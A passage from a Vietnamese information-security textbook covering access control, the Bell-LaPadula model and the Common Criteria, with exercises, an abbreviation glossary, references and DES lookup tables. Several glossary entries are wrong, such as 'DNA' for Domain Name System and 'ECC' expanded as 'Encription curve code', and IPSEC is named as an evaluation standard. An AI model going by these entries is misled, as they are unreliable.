Cấu hình bức tường lửa (Firewall Configurations)

 - 144 -

VIII.4.6 Kiểm soát truy cập

Hệ thống đã xác định được định danh như người sử dụng, xác định các nguồn gốc nào
nó có thể truy cập. Mô hình tổng quát là ma trận truy cập với
o Chủ thể - thực thể chủ động (người sử dụng, quá trình)
o Đối tượng - thực thể bị động (file hoặc nguồn)
o Quyền truy cập – cách mà đối tượng được truy cập
Có thể được phân tách bởi
o Các cột như danh sách kiểm soát truy cập
o Các hàng như các thẻ về khả năng

Ma trận kiểm soát quyền truy cập

 - 145 -

VIII.4.7 Các hệ thống máy tính tin cậy

An toàn thông tin ngày càng quan trọng. Có các mức độ khác nhau về sự nhạy cảm
của thông tin
o Phân loại thông tin quân sự: bảo mật, bí mật
Chủ thể (người hoặc chương trình) có nhiều quyền khác nhau truy cập đến các đối
tượng thông tin. Được biết như an toàn nhiều tầng
o Chủ thể có mức độ an toàn tối đa và hiện tại
o Đối tượng có phân loại mức độ tin cậy cố định
Muốn xem xét các cách tăng độ tin tưởng trong hệ thống để củng cố các quyền đó.

VIII.4.8 Mô hình Bell LaPadula

Một trong những mô hình an toàn nổi tiếng nhất. Được cài đặt như các chính sách bắt
buộc trong hệ thống. Có hai chính sách chính
o Không đọc lên (tính chất an toàn đơn giản)
 Chủ thể chỉ có thể đọc/viết các đối tượng nếu mức độ an toàn hiện
tại của chủ thể trội hơn (>=) phân loại của đối tượng
o Không viết xuống (tính chất *)
 Chủ thể chỉ có thể bổ sung/viết lên đối tượng nếu mức độ an toàn
hiện tại của chủ thể được trội (<=) bởi phân loại của đối tượng

Reference Monitor
(Giao diện chỉ dẫn)
 - 146 -

Các hệ thống máy tính triển khai

Chính phủ có thể phát triển các hệ thống IT. Đương đầu với phạm vi rộng các chuẩn
o TCSEC, IPSEC và bây giờ là Tiêu chuẩn Chung
Xác định một số mức độ triển khai với tăng cường kiểm tra qui tắc. Đã xuất bản
danh sách các sản phẩm triển khai
o Chỉ hướng tới sử dụng cho chính phủ/quốc phòng
o Cũng có thể hữu ích trong công nghiệp

VIII.4.9 Tiêu chuẩn chung

Đặc tả yêu cầu an toàn quốc tế khởi đầu và xác định tiêu chuẩn triển khai. Tích hợp
với các chuẩn khác
o Chẳng hạn CSEC, ITSEC, CTCPEC (Canada), Federal (US)
Đặc tả các chuẩn cho
o Tiêu chuẩn triển khai
o Phương pháp luận cho ứng dụng của Tiêu chuẩn
o Các thủ tục hành chính triển khai, chứng nhận và các sơ đồ chỉ định
Xác định tập các yêu cầu an toàn, có đích triển khai (TOE). Yêu cầu rơi vào trong 2
loại sau
o Chức năng
o Sự tin cậy
Cả hai được tổ chức theo lớp classes của họ hoặc cấu thành

Các yêu cầu Tiêu chuẩn chung

Yêu cầu chức năng
 - 147 -
o Kiểm soát an toàn, hỗ trợ mã, trao đổi thông tin, bảo vệ dữ liệu người sử
dụng, định danh và xác thực, quản lý an toàn, tính riêng tư, bảo vệ các
hàm an toàn tin cậy, nguồn thiết thực, truy cập TOE, đường dẫn tin cậy
Yêu cầu sự tin cậy
o Quản lý tham số hệ thống, phân phối và thao tác, phát triển, tài liệu chỉ
dẫn, hỗ trợ thời gian sống, kiểm tra, đánh giá lỗ hổng, bảo trì sự tin cậy

Bài tập

1. Liệt kê và phân loại các phần mềm có hại và các biện pháp phòng chống.
2. Phân tích các kỹ thuật xâm nhập hệ thống và cách phòng ngừa.
3. Nêu các biện pháp tăng cường an ninh, bảo mật máy tính cá nhân dựa trên các
phần mềm thông dụng hiện có.
4. Mục đích yêu cầu của việc xây dựng bức tường lửa. Có những loại bức tường lửa
nào.
5. Nêu cách thiết lập bức tường lửa sử dụng công cụ hỗ trợ trong hệ điều hành.
6. Phân tích các lỗi tràn bộ nhớ có thể xảy ra, nêu nguyên nhân.
7. Tìm hiểu các yêu cầu lập trình an toàn.
8. Trình bày một số mô hình hệ thống máy tính tin cậy.
 - 148 -
DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIẾT TẮT

Stt Ký hiệu Diễn giải

1 ACL Access Control List – Danh sách kiểm soát truy cập

2 AES Advanced Encryption Standard - chuẩn mã quốc tế

3 AH Authentication Header - đầu mục xác thực

4 CA Certification authority - Chủ quyền chứng nhận

5 CERT Computer emergency response team - Đội cấp cứu sự cố máy tính

6 CRL Certificate revocation list – Danh sách thu hồi chứng nhận

7 CSDL Cơ sở dữ liệu

8 CNTT Công nghệ thông tin

9 CSHT Cơ sở hạ tầng

10 CBC Cipher Block Chaining – Dãy mã khối

11 CFB Cipher feedback - Phản hồi mã

12 DBA Database administrator - Quản trị hệ thống

13 DES Data Encription Standards - Chuẩn mã dữ liệu

14 DNA Domain Name System - Hệ thống tên miền

 - 149 -

15 DSA Digital signature Algorithm - Thuật toán chữ ký điện tử

16 DSS Digital signature standard – Chuẩn chữ ký điện tử

17 ECB Electronic codebook – sách mã điện tử

18 ECC Encription curve code – mã đường cong Elip

19 ESP Encapsulating security payload – tải bảo mật đóng gói

20 FIPS Federal Information Processing Standard - chuẩn xử lý thông tin

Liên bang

21 IDEA International data encryption algorithm - Thuật toán mã dữ liệu

quốc tế

22 IPKI Internet X.509 public key Infrastructure - Hạ tầng khoá công khai
Internet X.509

23 KDC Key Distribution Center – Trung tâm phân phối khóa

24 LAN Local area network – mạng cục bộ

25 MD Message digest – digest bản tin

26 NAT Network address translation – dịch địa chỉ mạng

27 PKCS Public key cryptography standard – Chuẩn mã khoa công khai

28 PKI Public Key Infrastructure - Hạ tầng khoá chung

29 PGP Pretty Good Privacy – Phần mềm bảo mật thư điện tử

30 RSA Thuật toán mã công khai RSA mang tên Rivest, Shamir, Adleman
 - 150 -

31 SET Secure Electronic transaction – Thanh toán điện tử an toàn

32 SHA1 Secure hash algorithm 1 – Thuật toán băm 1

33 SMTP Simple Mail Transfer Protocol – Giao thức chuyển thư đơn giản

34 SOAP Simple Object Access Protocol – Giao thức truy cập đối tượng
đơn giản

35 SSL Secure Socket Layer – giao thức bảo mật lớp vận chuyển

36 TLS Transport Layer Security – Chuẩn giao thức bảo mật lớp vận
chuyển

37 UID User Identification – Định danh người sử dụng

38 TTP Trusted Third Party – Bên thứ ba tin cậy

39 URL Uniform Resource Locator – Địa chỉ nguồn thống nhất

40 VPN Virtual private network - mạng riêng ảo

41 WAN Wide area network - mạng diện rộng

42 WTLS Wireless transport layer security – an toàn tầng vận chuyển không
dây
 - 151 -
TÀI LIỆU THAM KHẢO
[1] William Stallings. Cryptography and Network Security: Principles and Practice. Third
Edition. Pearson Education, 2003.
[2] A. Menezes, P. van Oorschot và S. Vanstone. - Handbook of Applied Cryptography,
Fifth Edition, CRC Press, 1996.
[3] Douglas Stinson - Cryptography: Theory and Practice. Boca Raton. FL. CRC Press,
2007.
[4] http://en.wikipedia.org
[5] http://vn.wikipedia.org
[6] http://www.ietf.org/rfc
[7] http://www.schneier.com/blowfish.html
[8] http://www.rsasecurity.com
[9] http://people.csail.mit.edu/rivest/crypto-security.html
[10] Nguyễn Ngọc Tuấn, Hồng Phúc. Công nghệ bảo mật World Wide Web.
Nhà xuất bản Thống kê, 2005.
 - 152 -
PHỤ LỤC
1. Phụ lục thuật toán DES
1.1 Phụ lục 1.1

IP
58 50 42 34 26 18 10 2
60 52 44 36 28 20 12 4
62 54 46 38 30 22 14 6
64 56 48 40 32 24 16 8
57 49 41 33 25 17 9 1
59 51 43 35 27 19 11 3
61 53 45 37 29 21 13 5
63 55 47 39 31 23 15 7

1.2 Phụ lục 1.2

IP-1
40 8 48 16 56 24 64 32
39 7 47 15 55 23 63 31
38 6 46 14 54 22 62 30
37 5 45 13 53 21 61 29
36 4 44 12 52 20 60 28
35 3 43 11 51 19 59 27
34 2 42 10 50 18 58 26
33 1 41 9 49 17 57 25

1.3 Phụ lục 1.3

E
32 1 2 3 4 5
4 5 6 7 8 9
8 9 10 11 12 13
12 13 14 15 16 17
16 17 18 19 20 21
20 21 22 23 24 25
24 25 26 27 28 29
28 29 30 31 32 1

1.4 Phụ lục 1.4: S box

 - 153 -

Hàng
Cộ
[0 [1 [2 [3 [4 [5 [6 [7 [8] [9 [10 [11 [12 [13 [14 [15
t
] ] ] ] ] ] ] ] ] ] ] ] ] ] ]
S1
[0] 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
[1] 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
[2] 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
[3] 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
S2
[0] 15 1 8 14 6 11 3 4 9 7 2 13 12 0 5 10
[1] 3 13 4 7 15 2 8 14 12 0 1 10 6 9 11 5
[2] 0 14 7 11 10 4 13 1 5 8 12 6 9 3 2 15
[3] 13 8 10 1 3 15 4 2 11 6 7 12 0 5 14 9
S3
[0] 10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8
[1] 13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1
[2] 13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7
[3] 1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12
S4
[0] 7 13 14 3 0 6 9 10 1 2 8 5 11 12 4 15
[1] 13 8 11 5 6 15 0 3 4 7 2 12 1 10 14 9
[2] 10 6 9 0 12 11 7 13 15 1 3 14 5 2 8 4
[3] 3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14
S5
[0] 2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9
[1] 14 11 2 12 4 7 13 1 5 0 15 10 3 9 8 6
[2] 4 2 1 11 10 13 7 8 15 9 12 5 6 3 0 14
[3] 11 8 12 7 1 14 2 13 6 15 0 9 10 4 5 3
S6
[0] 12 1 10 15 9 2 6 8 0 13 3 4 14 7 5 11
[1] 10 15 4 2 7 12 9 5 6 1 13 14 0 11 3 8
[2] 9 14 15 5 2 8 12 3 7 0 4 10 1 13 11 6
[3] 4 3 2 12 9 5 15 10 11 14 1 7 6 0 8 13
S7
[0] 4 11 2 14 15 0 8 13 3 12 9 7 5 10 6 1
[1] 13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6
[2] 1 4 11 13 12 3 7 14 10 15 6 8 0 5 9 2
[3] 6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12
S8
[0] 13 2 8 4 6 15 11 1 10 9 3 14 5 0 12 7
.
[1] 1 15 13 8 10 3 7 4 12 5 6 11 0 14 9 2
[2] 7 11 4 1 9 12 14 2 0 6 10 13 15 3 5 8
[3] 2 1 14 7 4 10 8 13 15 12 9 0 3 5 6 11
 - 154 -

1.5 Phụ lục 1.5

P
16 7 20 21
29 12 28 17
1 15 23 26
5 18 31 10
2 8 24 14
32 27 3 9
19 13 30 6
22 11 4 25
1.6 Phụ lục 1.6

PC1
57 49 41 33 25 17 9
1 58 50 42 34 26 18
10 2 59 51 43 35 27
19 11 3 60 52 44 36
63 55 47 39 31 23 15
7 62 54 46 38 30 22
14 6 61 53 45 37 29
21 13 5 28 20 12 4
1.7 Phụ lục 1.7
PC2
14 17 11 24 1 5
3 28 15 6 21 10
23 19 12 4 26 8
16 7 27 20 13 2
41 52 31 37 47 55
30 40 51 45 33 48
44 49 39 56 34 53
46 42 50 36 29 32